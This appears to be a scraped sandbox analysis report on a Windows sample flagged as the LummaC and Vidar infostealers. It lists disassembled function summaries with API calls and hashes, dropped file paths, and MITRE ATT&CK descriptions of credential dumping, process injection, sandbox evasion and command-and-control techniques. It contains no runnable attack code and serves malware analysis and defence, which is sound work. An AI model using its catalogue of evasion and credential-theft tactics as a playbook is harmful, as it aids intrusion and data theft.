Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction ID: 71cdc5086ad98bd25e234238e95b4002ba9000919263a4584fe9e931f4e7c874
Opcode Fuzzy Hash: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction Fuzzy Hash: 84F0A031144208AFCB10EF58D415BE53BA1AF4575AF08805AF94C4F393D774E8C2C799

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: 7d61576bc23e6c09f31e39ad3bd34650203f811b8cd45cb545fdcfe0ae16857c
Instruction ID: 7279cf6f1f22d2a2ba8e3215006abc5fc6e9ec8f7915935b92b5a6e75ca34a4d
Opcode Fuzzy Hash: 7d61576bc23e6c09f31e39ad3bd34650203f811b8cd45cb545fdcfe0ae16857c
Instruction Fuzzy Hash: 8EE0E0F1D1020C9BDB14DFA5E946F5DB7F89B04704F5000299A05E7181E678BB098B59

Function 6CBBBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CBBBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CBBBEF5

Strings

cryptbase.dll, xrefs: 6CBBBEF0

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 519b37d2d9576546e21b3a0ac07ffb5ae4adf0535ca5a3beea265d89ab92c48b
Instruction ID: e47bbf9eb2bc9adb5c59cfe0b6ee8ffaabc36894e3a5d9a4c65862edb0426cc7
Opcode Fuzzy Hash: 519b37d2d9576546e21b3a0ac07ffb5ae4adf0535ca5a3beea265d89ab92c48b
Instruction Fuzzy Hash: 50D013311D4548EBD740AF508D15F357774E701715F10C421F75654D61DBB5B450CF55

Function 6CBFB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CBFB2C9,?,?,?,6CBFB127,?,?,?,?,?,?,?,?,?,6CBFAE52), ref: 6CBFB628

Part of subcall function 6CBF90E0: free.MOZGLUE(?,00000000,?,?,6CBFDEDB), ref: 6CBF90FF
Part of subcall function 6CBF90E0: free.MOZGLUE(?,00000000,?,?,6CBFDEDB), ref: 6CBF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CBFB2C9,?,?,?,6CBFB127,?,?,?,?,?,?,?,?,?,6CBFAE52), ref: 6CBFB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CBFB2C9,?,?,?,6CBFB127,?,?,?,?,?,?,?,?,?,6CBFAE52), ref: 6CBFB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CBFB127,?,?,?,?,?,?,?,?), ref: 6CBFB74D

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b67f041309998ba1b2977057dc00d1152ba2cfd5926a04b41bcb101ecf26ba38
Instruction ID: 76ab1043ad6952218fbb51490e4fb916fb38cddd37679e7c4885a96b4add3a72
Opcode Fuzzy Hash: b67f041309998ba1b2977057dc00d1152ba2cfd5926a04b41bcb101ecf26ba38
Instruction Fuzzy Hash: 4C51AE71A05256CFDB14CF18C98066EF7B5FF45304F55852DC86AABB10DB31E80ACBA1

Function 6CC0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CBB0A4D), ref: 6CC0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CBB0A4D), ref: 6CC0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CBB0A4D), ref: 6CC0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CBB0A4D), ref: 6CC0B67F

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a86dd8139007dcf931d9daaa5f113e4f854827030b7562648205f33a1a38087
Instruction ID: c85732a7951c196f4c68ed11a6cd1c076060c6d233f02beaacaa8562c7ba3912
Opcode Fuzzy Hash: 4a86dd8139007dcf931d9daaa5f113e4f854827030b7562648205f33a1a38087
Instruction Fuzzy Hash: B731C671B012168FEB14CF59C86465AFBF9FF81314F16856AC8069B701EB32E915CBE1

Function 6CBDF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBDF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CBDF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBDF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CBDF668

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 82cc6248ad835fd982bbcf580c63880994c7898d049f2f7a52fdfe9ce1baa2ac
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 79314F71A04654AFC714CF5EDCC0A9B77B5EB84358B188539FA498BB04E731FD448B90

Function 6CBF26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBF26C1
free.MOZGLUE(?), ref: 6CBF26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBF26FF
free.MOZGLUE ref: 6CBF270D

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 531117d64750d35e325e3b6176e3b7ee5adb6bd07cc8d8f077f23bdd62cc107e
Instruction ID: 4a612e5d279c1343ceb16a0c49d15fe961f09c860238e6a35848dd89391acfc6
Opcode Fuzzy Hash: 531117d64750d35e325e3b6176e3b7ee5adb6bd07cc8d8f077f23bdd62cc107e
Instruction Fuzzy Hash: 81F0A9B27012C16BF7009E18D88495FB3ADEF51258B540035EA26D7B01E732F91EC797

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f1r6P3j3g7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJDGCAEBFI\AFIDGD

C:\ProgramData\BGIJDGCAEBFI\BGIJDG

C:\ProgramData\BGIJDGCAEBFI\BGIJDG-shm

C:\ProgramData\BGIJDGCAEBFI\DAKEBA

C:\ProgramData\BGIJDGCAEBFI\EBFBKF

C:\ProgramData\BGIJDGCAEBFI\ECGIII

C:\ProgramData\BGIJDGCAEBFI\EHCGIJ

C:\ProgramData\BGIJDGCAEBFI\GIIEGH

C:\ProgramData\BGIJDGCAEBFI\HJEHIJ

Windows Analysis Report
f1r6P3j3g7.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre